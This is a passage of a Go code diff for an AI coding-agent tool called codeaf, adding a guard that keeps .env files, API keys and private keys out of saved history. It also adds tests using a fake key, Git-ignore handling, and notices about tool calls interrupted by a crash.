it. +func (g Guard) announceUnreadable(before policyFile, found []keys.Finding) { + for _, f := range found { + if !before.isUnreadable(f.Path) { + g.notify(f.Path + " cannot be read here, so it is left out of the saved history until its permissions allow it") + } + } +} + +func noticeFor(f keys.Finding) string { + if f.Rule == keys.RuleDotenv { + return f.Path + " is kept out of the saved history; its variables are kept locally for your tools, and the file travels through the key vault only to paired computers" + } + return f.Path + " looks like it holds a secret (" + f.Rule + "), so it is kept out of the saved history; the file travels through the key vault only to paired computers" +} + +// vault keeps the variables of every environment file found. A vault that +// cannot be written is told to the person; the file is still withheld. +func (g Guard) vault(c cell.Cell, tree string, found []keys.Finding) { + var files []string + for _, f := range found { + if f.Rule == keys.RuleDotenv { + files = append(files, f.Path) + } + } + if len(files) == 0 { + return + } + if err := g.importDotenv(scopeOf(c), tree, files); err != nil { + g.notify("could not keep " + strings.Join(files, ", ") + " in the key vault: " + err.Error()) + } +} + +func (g Guard) importDotenv(scope, tree string, files []string) error { + v, err := keys.Open(g.home()) + if err != nil { + return err + } + for _, rel := range files { + if _, err := v.ImportDotenv(filepath.Join(tree, rel), scope); err != nil { + return err + } + } + return nil +} + +// vaultEnv is the executor's view of the vault: the variables of one cell's +// project. +type vaultEnv struct{ cell cell.Cell } + +// Env implements executor.SecretSource. +func (v vaultEnv) Env() []string { return Guard{}.Env(v.cell) } + +// Env is the vault's variables for the cell's project, for a tool's +// environment on this machine. A machine with no vault has none. +func (g Guard) Env(c cell.Cell) []string { + if !keys.Exists(g.home()) { + return nil + } + v, err := keys.Open(g.home()) + if err != nil { + return nil + } + env, _ := v.Env(scopeOf(c)) + return env +} + +// scopeOf names the project a cell's secrets belong to. +func scopeOf(c cell.Cell) string { return keys.ScopeOf(c) } diff --git a/internal/cellstore/guard_test.go b/internal/cellstore/guard_test.go new file mode 100644 index 0000000000..51cf3b0d80 --- /dev/null +++ b/internal/cellstore/guard_test.go @@ -0,0 +1,441 @@ +package cellstore + +import ( + "bytes" + "context" + "io/fs" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/keys" +) + +const fakeKey = "sk-or-v1-0123456789abcdef0123456789abcdef" + +type guardRig struct { + t *testing.T + tree string + cell cell.Cell + guard Guard + notice []string +} + +func newRig(t *testing.T) *guardRig { + r := &guardRig{t: t, tree: t.TempDir(), cell: newCell(t)} + r.guard = Guard{Home: t.TempDir(), Notify: func(s string) { r.notice = append(r.notice, s) }} + return r +} + +// state is where the guard keeps its exclusions: the cell's directory. +func (r *guardRig) state() string { return stateDir(r.cell) } + +func (r *guardRig) write(rel, text string) { + r.t.Helper() + path := filepath.Join(r.tree, rel) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + r.t.Fatal(err) + } + if err := os.WriteFile(path, []byte(text), 0o644); err != nil { + r.t.Fatal(err) + } +} + +func (r *guardRig) screen(changed ...string) { + r.t.Helper() + if err := r.guard.Screen(r.cell, r.tree, r.state(), changed); err != nil { + r.t.Fatal(err) + } +} + +func (r *guardRig) policy() policyFile { + r.t.Helper() + p, err := readPolicy(r.tree, r.state()) + if err != nil { + r.t.Fatal(err) + } + return p +} + +func TestScreenWithholdsDotenvAndKeepsItInTheVault(t *testing.T) { + r := newRig(t) + r.write(".env", "OPENROUTER_API_KEY="+fakeKey+"\n") + r.write("src/app.py", "print('hi')\n") + r.screen() + + if got := r.policy().withheld; len(got) != 1 || got[0] != ".env" { + t.Fatalf("withheld %v, want [.env]", got) + } + if _, err := os.Stat(filepath.Join(r.tree, policyName)); !os.IsNotExist(err) { + t.Fatalf("the guard wrote into the workspace: %v", err) + } + v, err := keys.Open(r.guard.Home) + if err != nil { + t.Fatal(err) + } + env, _ := v.Env(scopeOf(r.cell)) + if len(env) != 1 || env[0] != "OPENROUTER_API_KEY="+fakeKey { + t.Fatalf("vault env %v", env) + } + if got := r.guard.Env(r.cell); len(got) != 1 { + t.Fatalf("Env %v: the next tool call must see the variable", got) + } +} + +func TestScreenWithholdsAnyFileWithASecretAndSaysOnce(t *testing.T) { + r := newRig(t) + r.write("src/config.py", "KEY = '"+fakeKey+"'\n") + r.screen("src/config.py") + r.screen("src/config.py") + r.screen() + + if got := r.policy().withheld; len(got) != 1 || got[0] != "src/config.py" { + t.Fatalf("withheld %v", got) + } + if len(r.notice) != 1 || !strings.Contains(r.notice[0], "src/config.py") || strings.Contains(r.notice[0], fakeKey) { + t.Fatalf("notices %q: want one, naming the file and never the secret", r.notice) + } +} + +// TestScreenReleasesAFileThatIsCleaned proves D2: the directive stays after secrets are cleared. +func TestScreenReleasesAFileThatIsCleaned(t *testing.T) { + r := newRig(t) + r.write("src/config.py", "KEY = '"+fakeKey+"'\n") + r.screen() + r.write("src/config.py", "KEY = os.environ['KEY']\n") + r.screen() + if got := r.policy().withheld; len(got) != 0 { + t.Fatalf("withheld %v after the secret was removed", got) + } + if raw, err := os.ReadFile(filepath.Join(r.state(), policyName)); err != nil || strings.TrimSpace(string(raw)) != "gitignore" { + t.Fatalf("D2 policy = %q, %v", raw, err) + } +} + +func TestScreenLeavesTemplatesInTheSealButStillJudgesTheirContent(t *testing.T) { + r := newRig(t) + r.write(".env.example", "OPENROUTER_API_KEY=your-key-here\n") + r.write(".env.sample", "TOKEN="+fakeKey+"\n") + r.write("config.template", "x=1\n") + r.screen() + if got := r.policy().withheld; len(got) != 1 || got[0] != ".env.sample" { + t.Fatalf("withheld %v: a placeholder template stays in the seal, one holding a real key does not", got) + } + if keys.Exists(r.guard.Home) { + t.Fatal("a template was imported into the vault") + } +} + +func TestScreenKeepsWhatThePersonWrote(t *testing.T) { + r := newRig(t) + r.write(policyName, "exclude node_modules\n") + r.write("node_modules/x/key.txt", fakeKey) + r.write("app/config.py", fakeKey) + r.screen() + p := r.policy() + if len(p.outside) != 1 || p.outside[0] != "exclude node_modules" || len(p.withheld) != 1 || p.withheld[0] != "app/config.py" { + t.Fatalf("policy %+v: the person's line stays, an excluded tree is not scanned", p) + } +} + +// TestScreenWritesNothingWhenTheTreeIsClean proves D2: a clean tree still carries the ignore directive. +func TestScreenWritesNothingWhenTheTreeIsClean(t *testing.T) { + r := newRig(t) + r.write("a.txt", "hello\n") + r.screen() + if raw, err := os.ReadFile(filepath.Join(r.state(), policyName)); err != nil || strings.TrimSpace(string(raw)) != "gitignore" { + t.Fatalf("D2 policy = %q, %v", raw, err) + } + if keys.Exists(r.guard.Home) { + t.Fatal("a clean tree created a vault") + } +} + +func TestScopeIsTheNormalizedRemoteElseTheCell(t *testing.T) { + same := []string{"https://github.com/Org/repo.git", "git@GitHub.com:Org/repo", "ssh://git@github.com/Org/repo.git/"} + want := keys.NormalizeRemote(same[0]) + for _, s := range same { + if got := keys.NormalizeRemote(s); got != want || strings.Contains(got, "@") { + t.Fatalf("normalize(%q) = %q, want %q", s, got, want) + } + } + c := newCell(t) + if scopeOf(c) != c.ID { + t.Fatalf("no remote: scope %q, want the cell id", scopeOf(c)) + } +} + +// TestL3_SecretsNeverEnterTheStore proves C9's working-tree law as amended by +// Abir on 2026-10-21: committed history travels sealed, so this fixture commits +// only non-secret files. The secrets remain untracked rather than ignored to +// prove the guard, independently of Git's ignore rules. After two seals no +// store object holds the key, and the next tool call still gets the .env value. +func TestL3_SecretsNeverEnterTheStore(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + r := newRig(t) + e.Workspace, e.Guard = r.tree, r.guard + r.write(".env", "OPENROUTER_API_KEY="+fakeKey+"\n") + r.write("src/config.py", "API = '"+fakeKey+"'\n") + r.write("src/main.py", "MARKER_KEPT = 1\n") + commitPaths(t, r.tree, "src/main.py") + + if _, err := e.Seal(context.Background(), r.cell, TurnInfo{}); err != nil { + t.Fatal(err) + } + r.write("src/main.py", "MARKER_KEPT = 2\n") + commitPaths(t, r.tree, "src/main.py") + if _, err := e.Seal(context.Background(), r.cell, TurnInfo{Changed: []string{"src/main.py"}}); err != nil { + t.Fatal(err) + } + + if out, err := gitIn(r.tree, "status", "--porcelain", "--untracked-files=no"); err != nil || out != "" { + t.Fatalf("the tracked workspace changed: %q, %v", out, err) + } + if out := gitStatus(t, r.tree); out != "?? .env\n?? src/config.py" { + t.Fatalf("the working-tree secrets must remain untracked: %q", out) + } + if hits := grepStore(t, e.StoreDir(r.cell), fakeKey); len(hits) != 0 { + t.Fatalf("the secret is in the store: %v", hits) + } + if len(grepStore(t, e.StoreDir(r.cell), "MARKER_KEPT")) == 0 { + t.Skip("the store does not keep file text in the clear, so the absence above proves nothing here") + } + if got := r.guard.Env(r.cell); len(got) != 1 || got[0] != "OPENROUTER_API_KEY="+fakeKey { + t.Fatalf("next tool call env %v", got) + } + _, withheld, err := e.Withheld(r.cell) + if err != nil || len(withheld) != 2 { + t.Fatalf("withheld files = %v, %v; want the environment and source file", withheld, err) + } + }) +} + +func grepStore(t *testing.T, dir, needle string) (hits []string) { + t.Helper() + filepath.WalkDir(dir, func(p string, d fs.DirEntry, err error) error { + if err == nil && d.Type().IsRegular() { + if raw, _ := os.ReadFile(p); bytes.Contains(raw, []byte(needle)) { + hits = append(hits, p) + } + } + return nil + }) + return hits +} + +// TestSeatGivesTheToolTheVaultEnv checks the return path: a process the seat +// runs sees the variable although no .env was in its sealed tree. +func TestSeatGivesTheToolTheVaultEnv(t *testing.T) { + r := newRig(t) + r.write(".env", "TOOL_TOKEN=abc123\n") + r.screen() + local := executor.Local{Root: r.tree, Class: executor.HostBound, Secrets: vaultEnvIn{r.guard, r.cell}} + res, err := local.Exec(context.Background(), executor.ExecRequest{Argv: []string{testShell(t), "-c", "printf %s \"$TOOL_TOKEN\""}}, nil) + if err != nil || string(res.Stdout) != "abc123" { + t.Fatalf("tool saw %q, %v", res.Stdout, err) + } +} + +type vaultEnvIn struct { + g Guard + c cell.Cell +} + +func (v vaultEnvIn) Env() []string { return v.g.Env(v.c) } + +// BenchmarkScreen10k is the guard's share of a seal on a 10,000-file tree: a +// walk when the caller cannot say what changed, one path when it can. +func BenchmarkScreen10k(b *testing.B) { + tree := b.TempDir() + fillTree(b, tree, 10000) + c, err := cell.CreateIn(b.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + b.Fatal(err) + } + g := Guard{Home: b.TempDir(), Notify: func(string) {}, Ledger: keys.NewLedger()} + for name, changed := range map[string][]string{"walk": nil, "changed": {"src/d005/f005.txt"}} { + b.Run(name, func(b *testing.B) { + for i := 0; i < b.N; i++ { + if err := g.Screen(c, tree, stateDir(c), changed); err != nil { + b.Fatal(err) + } + } + }) + } +} + +func TestScreenWithLedgerStillCatchesAnEditedFile(t *testing.T) { + r := newRig(t) + r.guard.Ledger = keys.NewLedger() + r.write("a.py", "x = 1\n") + r.screen() + r.write("a.py", "x = '"+fakeKey+"'\n") + r.screen() + if got := r.policy().withheld; len(got) != 1 || got[0] != "a.py" { + t.Fatalf("withheld %v: an edited file must be read again", got) + } +} + +// TestC9SecretAtTheEndOfALargeSourceFileIsWithheld proves C9 beyond the +// scanner's former first-MiB limit and across the streaming read boundary. +func TestC9SecretAtTheEndOfALargeSourceFileIsWithheld(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, r := realEngine(t), newRig(t) + e.Workspace, e.Guard = r.tree, r.guard + r.write("large.py", strings.Repeat("# padding\n", 120000)+"KEY = '"+fakeKey+"'\n") + r.write("boundary.py", strings.Repeat(" ", (64<<10)-8)+"KEY = '"+fakeKey+"'\n") + if _, err := e.Seal(context.Background(), r.cell, TurnInfo{}); err != nil { + t.Fatal(err) + } + if hits := grepStore(t, e.StoreDir(r.cell), fakeKey); len(hits) != 0 { + t.Fatalf("secret in local store: %v", hits) + } + if _, held, err := e.Withheld(r.cell); err != nil || len(held) != 2 { + t.Fatalf("large or boundary source was not withheld: %v, %v", held, err) + } + }) +} + +// TestC9CaptureAndRewindKeepWorkingTreeSecretsOut proves C9 when capture, +// comparison and rewind can save an automatic undo snapshot between seals. +func TestC9CaptureAndRewindKeepWorkingTreeSecretsOut(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, r := realEngine(t), newRig(t) + e.Workspace, e.Guard = r.tree, r.guard + r.write("note.txt", "first") + commitPaths(t, r.tree, "note.txt") + first, err := e.Seal(context.Background(), r.cell, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + r.write(".env", "KEY="+fakeKey+"\n") + r.write("config.py", "KEY = '"+fakeKey+"'\n") + r.write("note.txt", "second") + if dirty, err := e.Dirty(context.Background(), r.cell); err != nil || !dirty { + t.Fatalf("edited workspace: dirty %v, %v", dirty, err) + } + if _, err := e.Capture(context.Background(), r.cell); err != nil { + t.Fatal(err) + } + if err := e.Restore(context.Background(), r.cell, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if raw, err := os.ReadFile(filepath.Join(r.tree, "note.txt")); err != nil || string(raw) != "first" { + t.Fatalf("restored note %q, %v", raw, err) + } + for _, path := range []string{".env", "config.py"} { + if raw, err := os.ReadFile(filepath.Join(r.tree, path)); err != nil || !bytes.Contains(raw, []byte(fakeKey)) { + t.Fatalf("the local secret %s was lost: %q, %v", path, raw, err) + } + } + if hits := grepStore(t, e.StoreDir(r.cell), fakeKey); len(hits) != 0 { + t.Fatalf("secret in local store: %v", hits) + } + }) +} + +func commitPaths(t *testing.T, dir string, paths ...string) { + t.Helper() + for _, args := range [][]string{{"init", "-q"}, append([]string{"add", "--"}, paths...), {"-c", "user.name=t", "-c", "user.email=t@t", "-c", "commit.gpgsign=false", "commit", "-qm", "safe files"}} { + if out, err := gitIn(dir, args...); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } +} + +func commitAll(t *testing.T, dir string) { + t.Helper() + for _, args := range [][]string{{"init", "-q"}, {"add", "-A"}, {"-c", "user.name=t", "-c", "user.email=t@t", "commit", "-qm", "base"}} { + if out, err := gitIn(dir, args...); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } +} + +// gitStatus is `git status --porcelain` of dir. +func gitStatus(t *testing.T, dir string) string { + t.Helper() + out, err := gitIn(dir, "status", "--porcelain") + if err != nil { + t.Fatalf("git status: %v\n%s", err, out) + } + return strings.TrimSpace(out) +} + +func gitIn(dir string, args ...string) (string, error) { + cmd := exec.Command("git", args...) //codeaf:plumbing test fixture inspects the workspace with git + cmd.Dir = dir + out, err := cmd.CombinedOutput() + return string(out), err +} + +func TestWithheldNamesTheFilesTheGuardKeptOutAndTheFolderTheyAreIn(t *testing.T) { + r := newRig(t) + r.write("web/client/.env.production", "K="+fakeKey+"\n") + r.write("src/app.py", "print('hi')\n") + r.screen() + eng := Engine{Workspace: r.tree} + tree, paths, err := eng.Withheld(r.cell) + if err != nil || tree != r.tree || len(paths) != 1 || paths[0] != "web/client/.env.production" { + t.Fatalf("Withheld = %q, %v, %v", tree, paths, err) + } +} + +// TestC9CertificateBundleIsSealedWhilePrivateKeysAreWithheld proves C9's +// distinction at the actual seal and restore boundary, on both engine transports. +func TestC9CertificateBundleIsSealedWhilePrivateKeysAreWithheld(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, r := realEngine(t), newRig(t) + e.Workspace, e.Guard = r.tree, r.guard + cert := "-----BEGIN CERTIFICATE-----\nPUBLIC_CA_MARKER\n-----END CERTIFICATE-----\n" + key := "-----BEGIN PRIVATE KEY-----\nPRIVATE_KEY_MARKER\n-----END PRIVATE KEY-----\n" + r.write(".venv/lib/site-packages/certifi/cacert.pem", cert+cert) + r.write("private.pem", key) + r.write("combined.pem", cert+key) + sealed, err := e.Seal(context.Background(), r.cell, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + if got := r.policy().withheld; len(got) != 2 || got[0] != "combined.pem" || got[1] != "private.pem" { + t.Fatalf("withheld %v; want only the two files holding a private key", got) + } + if hits := grepStore(t, e.StoreDir(r.cell), "PRIVATE_KEY_MARKER"); len(hits) != 0 { + t.Fatalf("private key reached the store: %v", hits) + } + path := filepath.Join(r.tree, ".venv/lib/site-packages/certifi/cacert.pem") + if err := os.Remove(path); err != nil { + t.Fatal(err) + } + if err := e.Restore(context.Background(), r.cell, sealed.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if raw, err := os.ReadFile(path); err != nil || string(raw) != cert+cert { + t.Fatalf("certificate bundle did not survive sealing: %q, %v", raw, err) + } + }) +} + +// C9 and C15 require an unpaired computer's notice to distinguish imported +// dotenv variables from files that have never been saved to a shared vault. +func TestSecretNoticesDescribeOnlyWhatAnUnpairedComputerKeeps(t *testing.T) { + r := newRig(t) + r.write(".env", "LOCAL_KEY="+fakeKey+"\n") + r.write("config.py", "key = '"+fakeKey+"'\n") + r.screen() + if len(r.notice) != 2 { + t.Fatalf("notices: %q", r.notice) + } + for _, notice := range r.notice { + if !strings.Contains(notice, "kept out of the saved history") || !strings.Contains(notice, "only to paired computers") || strings.Contains(notice, "kept in your key vault") { + t.Fatalf("untrue notice: %s", notice) + } + if strings.HasPrefix(notice, ".env ") && !strings.Contains(notice, "variables are kept locally for your tools") { + t.Fatalf("missing local variables: %s", notice) + } + } +} diff --git a/internal/cellstore/held.go b/internal/cellstore/held.go new file mode 100644 index 0000000000..1f455c1de1 --- /dev/null +++ b/internal/cellstore/held.go @@ -0,0 +1,85 @@ +package cellstore + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +// heldName is a path the engine could not write when it restored a head, +// because this machine's file system keeps one name where the head has two. +type heldName struct { + Path string `json:"path"` + Reason string `json:"reason"` +} + +// noteHeld keeps each held name out of every later seal and writes it into the +// record, in the take that found it. The policy block is what keeps the name out +// and the record entry is what says so to a person, so they are written together; +// an engine that gives no reason gets the general one. +func noteHeld(c cell.Cell, policyDir string, held []heldName) error { + if len(held) == 0 { + return nil + } + policy, err := readPolicyAt(policyDir) + if err != nil { + return err + } + paths := make([]string, len(held)) + entries := make([]inventory.Withheld, len(held)) + for i, h := range held { + paths[i] = h.Path + entries[i] = inventory.Withheld{Path: h.Path, Reason: orDefault(h.Reason, reasonHeld)} + } + if err := policy.holding(paths).write(policyDir); err != nil { + return err + } + return inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.SetWithheld(func(path string) bool { return inRules(paths, path) }, entries) + }) +} + +func orDefault(s, fallback string) string { + if s == "" { + return fallback + } + return s +} + +// heldBefore is the names an earlier take set apart in this cell, with the +// reasons the record gave. A cell that has none, or a record that cannot be +// read, answers none: the names are then found again by the take that needs them. +func heldBefore(c cell.Cell, policyDir string) []heldName { + policy, err := readPolicyAt(policyDir) + if err != nil || len(policy.held) == 0 { + return nil + } + reasons := map[string]string{} + if store, err := inventory.Open(c.Root); err == nil { + for _, w := range store.Snapshot().Withheld { + reasons[w.Path] = w.Reason + } + } + out := make([]heldName, len(policy.held)) + for i, path := range policy.held { + out[i] = heldName{Path: path, Reason: reasons[path]} + } + return out +} + +// mergeHeld is the earlier names plus this take's, once each; this take's reason +// wins for a name both name. +func mergeHeld(earlier, now []heldName) []heldName { + byPath := map[string]heldName{} + var order []string + for _, h := range append(append([]heldName(nil), earlier...), now...) { + if _, seen := byPath[h.Path]; !seen { + order = append(order, h.Path) + } + byPath[h.Path] = h + } + out := make([]heldName, len(order)) + for i, path := range order { + out[i] = byPath[path] + } + return out +} diff --git a/internal/cellstore/helpers_test.go b/internal/cellstore/helpers_test.go new file mode 100644 index 0000000000..511df4ce95 --- /dev/null +++ b/internal/cellstore/helpers_test.go @@ -0,0 +1,155 @@ +package cellstore + +import ( + "context" + "encoding/json" + "fmt" + "github.com/Agent-Field/codeaf/internal/shell" + "os" + "path/filepath" + "runtime" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +func newCell(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + return c +} + +// realEngine is the Engine over the actual engine binary; the test skips when +// none resolves (set CODEAF_FURROW, or build with the binary embedded). +func realEngine(t *testing.T) Engine { return engineFor(t, t.TempDir()) } + +func realEngineB(b *testing.B) Engine { return engineFor(b, b.TempDir()) } + +func engineFor(t testing.TB, dataRoot string) Engine { + t.Helper() + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + return Engine{Binary: bin, DataRoot: dataRoot, Transport: current.make(t, bin)} +} + +// A transportCase is one way the real engine is reached; every real-engine +// test runs once per case, so the Store implementations answer to one suite. +type transportCase struct { + name string + make func(t testing.TB, bin string) Transport +} + +var transportCases = []transportCase{ + {"spawn", func(_ testing.TB, bin string) Transport { return Spawn{Binary: bin} }}, + {"daemon", daemonFor}, +} + +// current is the case the running subtest is in; realEngine reads it. +var current = transportCases[0] + +// forEachTransport runs body against every transport. Tests that use it do +// not run in parallel: they share current. +func forEachTransport(t *testing.T, body func(t *testing.T)) { + for _, tc := range transportCases { + t.Run(tc.name, func(t *testing.T) { + previous := current + current = tc + t.Cleanup(func() { current = previous }) + body(t) + }) + } +} + +// daemonFor is a daemon of the test's own, on a socket of the test's own, +// stopped when the test ends. +func daemonFor(t testing.TB, bin string) Transport { + dir, err := os.MkdirTemp("", "cs") + if err != nil { + t.Fatal(err) + } + d := Daemon{Socket: filepath.Join(dir, "e.sock"), Binary: bin} + t.Cleanup(func() { + _ = d.Stop(context.Background()) + time.Sleep(50 * time.Millisecond) // let it unlink its socket + os.RemoveAll(dir) + }) + return d +} + +// fakeEngine seals without spawning anything: it invents snapshot ids. +type fakeEngine struct { + mu sync.Mutex + calls [][]string +} + +func (f *fakeEngine) engine(t *testing.T) Engine { + return Engine{Binary: "engine", DataRoot: t.TempDir(), Run: f.run} +} + +func (f *fakeEngine) run(_ context.Context, _ string, _ []string, argv ...string) ([]byte, error) { + f.mu.Lock() + defer f.mu.Unlock() + f.calls = append(f.calls, argv) + return json.Marshal(map[string]string{"snapshot": fmt.Sprintf("%064x", len(f.calls))}) +} + +func (f *fakeEngine) count(verb string) (n int) { + for _, c := range f.calls { + if strings.Contains(strings.Join(c, " "), verb) { + n++ + } + } + return n +} + +// stubExec is an executor whose result and side effects the test controls. +type stubExec struct { + mu sync.Mutex + runs int + fn func(executor.ExecRequest) (executor.ExecResult, error) +} + +func (s *stubExec) Exec(_ context.Context, req executor.ExecRequest, _ func(executor.Chunk)) (executor.ExecResult, error) { + s.mu.Lock() + s.runs++ + s.mu.Unlock() + if s.fn == nil { + return executor.ExecResult{SideEffect: executor.Classify(req.Net)}, nil + } + return s.fn(req) +} + +// testSocket keeps even long test names below AF_UNIX's address ceiling (K2). +func testSocket(t *testing.T) string { + t.Helper() + dir, err := os.MkdirTemp("", "cs") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { os.RemoveAll(dir) }) + return filepath.Join(dir, "e.sock") +} + +// testShell retains Unix argv and uses the native Git Bash resolver on Windows +// so K3's secret propagation runs through an actual shell on both platforms. +func testShell(t *testing.T) string { + t.Helper() + if runtime.GOOS != "windows" { + return "sh" + } + bash, err := shell.Bash() + if err != nil { + t.Fatal(err) + } + return bash +} diff --git a/internal/cellstore/ignored.go b/internal/cellstore/ignored.go new file mode 100644 index 0000000000..61981d125f --- /dev/null +++ b/internal/cellstore/ignored.go @@ -0,0 +1,140 @@ +package cellstore + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +const reasonGitIgnored = "git ignores them" +const ignoredReadFailure = "cannot read which folders Git ignores here" + +// gitIgnored keeps a rebuild instruction from naming a lockfile that will not +// arrive. Tracked exceptions are deliberately honored by Git's default check. +// An unreadable Git answer licenses no rebuild; outside Git the old rule holds. +func gitIgnored(tree, path string) bool { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, "git", "check-ignore", "-q", "--", path) //codeaf:plumbing A rebuild needs the lockfile in the capture. + cmd.Dir = tree + _, err := cmd.Output() + if err == nil { + return true + } + var exit *exec.ExitError + if errors.As(err, &exit) { + return exit.ExitCode() != 1 && !strings.Contains(string(exit.Stderr), "not a git repository") + } + return true +} + +// ignoredDirectories asks Git for collapsed directories, never the files inside +// them. Git keeps tracked exceptions out of that list. Ignored files in ordinary +// directories still pass the secret screen and travel through the vault (D2). +// A failed lookup in a repository must not fall back to screening ignored +// directories: that would send their secret files through the vault (D2). +func ignoredDirectories(tree string) ([]string, error) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, "git", "ls-files", "--others", "--ignored", "--exclude-standard", "--directory", "-z") //codeaf:plumbing Git names ignored directories without opening them. + cmd.Dir = tree + raw, err := cmd.Output() + if err != nil { + var exit *exec.ExitError + if (errors.As(err, &exit) && strings.Contains(string(exit.Stderr), "not a git repository")) || !hasGitMarker(tree) { + return nil, nil + } + return nil, fmt.Errorf("%s: %w", ignoredReadFailure, err) + } + var candidates []string + for _, name := range strings.Split(string(raw), "\x00") { + if strings.HasSuffix(name, "/") { + candidates = append(candidates, name) + } + } + if len(candidates) == 0 { + return nil, nil + } + // ls-files may collapse a directory whose only child is an ignored file. + // Pruning that directory would hide config/.env.local from the vault. + check := exec.CommandContext(ctx, "git", "check-ignore", "--stdin", "-z") //codeaf:plumbing Only an ignored directory itself can bypass the secret screen. + check.Dir = tree + check.Stdin = strings.NewReader(strings.Join(candidates, "\x00") + "\x00") + checked, err := check.Output() + if err != nil { + var exit *exec.ExitError + if !errors.As(err, &exit) || exit.ExitCode() != 1 { + return nil, fmt.Errorf("%s: %w", ignoredReadFailure, err) + } + } + var dirs []string + for _, name := range strings.Split(string(checked), "\x00") { + if name != "" { + dirs = append(dirs, strings.TrimSuffix(name, "/")) + } + } + return dirs, nil +} + +func hasGitMarker(tree string) bool { + for dir := filepath.Clean(tree); ; dir = filepath.Dir(dir) { + if _, err := os.Lstat(filepath.Join(dir, ".git")); err == nil || os.IsPermission(err) { + return true + } + if filepath.Dir(dir) == dir { + return false + } + } +} + +// ignoredPaths reads only the engine's paths. Older counts and newer summary +// fields are deliberately unknown to the harness (D2). +type ignoredPaths struct { + Paths []string `json:"paths"` +} + +// noteIgnored records the engine's omissions. The first capture discovers them; +// when that changes the record, a state-only capture carries the same facts to +// the next computer before the turn can be published. +func noteIgnored(c cell.Cell, ignored *ignoredPaths) (bool, error) { + if ignored == nil { + return false, nil + } + store, err := inventory.Open(c.Root) + if err != nil { + return false, err + } + before := store.Snapshot().Withheld + var old []string + for _, w := range before { + if w.Reason == reasonGitIgnored { + old = append(old, w.Path) + } + } + if strings.Join(old, "\x00") == strings.Join(ignored.Paths, "\x00") { + return false, nil + } + paths := map[string]bool{} + var entries []inventory.Withheld + for _, w := range before { + if w.Reason == reasonGitIgnored { + paths[w.Path] = true + } + } + for _, path := range ignored.Paths { + paths[path] = true + entries = append(entries, inventory.Withheld{Path: path, Reason: reasonGitIgnored}) + } + err = inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.SetWithheld(func(path string) bool { return paths[path] }, entries) + }) + return err == nil, err +} diff --git a/internal/cellstore/interrupted.go b/internal/cellstore/interrupted.go new file mode 100644 index 0000000000..f771f0da2a --- /dev/null +++ b/internal/cellstore/interrupted.go @@ -0,0 +1,103 @@ +package cellstore + +import ( + "encoding/json" + "fmt" + "strings" +) + +// briefMax is how much of a call's arguments a line about it carries. +const briefMax = 60 + +// briefKeys are the argument names that say what a call is about, in the order +// they are looked for. +var briefKeys = []string{"command", "path", "file_path", "pattern", "url", "query"} + +// briefOf is the few words of a call's JSON arguments a person recognises it by, +// or nothing when no argument reads as one. +func briefOf(args []byte) string { + var fields map[string]json.RawMessage + if json.Unmarshal(args, &fields) != nil { + return "" + } + for _, key := range briefKeys { + var text string + if json.Unmarshal(fields[key], &text) == nil && strings.TrimSpace(text) != "" { + return clip(text) + } + } + return "" +} + +// commandOf is the command line a call's JSON arguments carry, or nothing for a +// call that runs no command. +func commandOf(args []byte) string { + var fields struct { + Command string `json:"command"` + } + if json.Unmarshal(args, &fields) != nil { + return "" + } + return fields.Command +} + +// clip puts text on one line and cuts it to briefMax. +func clip(text string) string { + line := strings.Join(strings.Fields(text), " ") + if r := []rune(line); len(r) > briefMax { + return string(r[:briefMax-1]) + "…" + } + return line +} + +// what is the call as one phrase: the tool, and its brief when it has one. +func (i Intent) what() string { + if i.Brief == "" { + return i.Tool + } + return i.Tool + ": " + i.Brief +} + +// said is the sentence a person reads about the call. +func (i Intent) said() string { + return i.what() + " — stopped when codeaf was killed — not run again. Ask me to run it again if you still want it." +} + +// interrupted is what the calls a crash left unfinished look like to a person +// (Lines), to the model (Note), and once both have been told (Close). +type interrupted struct{ rec *Recorder } + +// Lines is one plain sentence per interrupted call, oldest first. +func (v interrupted) Lines() []string { + var lines []string + for _, in := range v.rec.Incomplete() { + lines = append(lines, in.said()) + } + return lines +} + +// Note is the fact the model needs so it does not take the calls for done. It is +// empty when nothing was interrupted. +func (v interrupted) Note() string { + calls := v.rec.Incomplete() + if len(calls) == 0 { + return "" + } + var b strings.Builder + b.WriteString("These tool calls were running when codeaf was killed. Their results are unknown: each may have stopped part way or finished, and none was run again. Do not assume any of them succeeded; look at what they touch before relying on it, and run one again only if the person asks.") + for _, in := range calls { + fmt.Fprintf(&b, "\n- %s (%s)", in.what(), in.SideEffect) + } + return b.String() +} + +// Close counts every interrupted call as dealt with: the person and the model +// have both been told, and the cell can be rewound again. +func (v interrupted) Close() 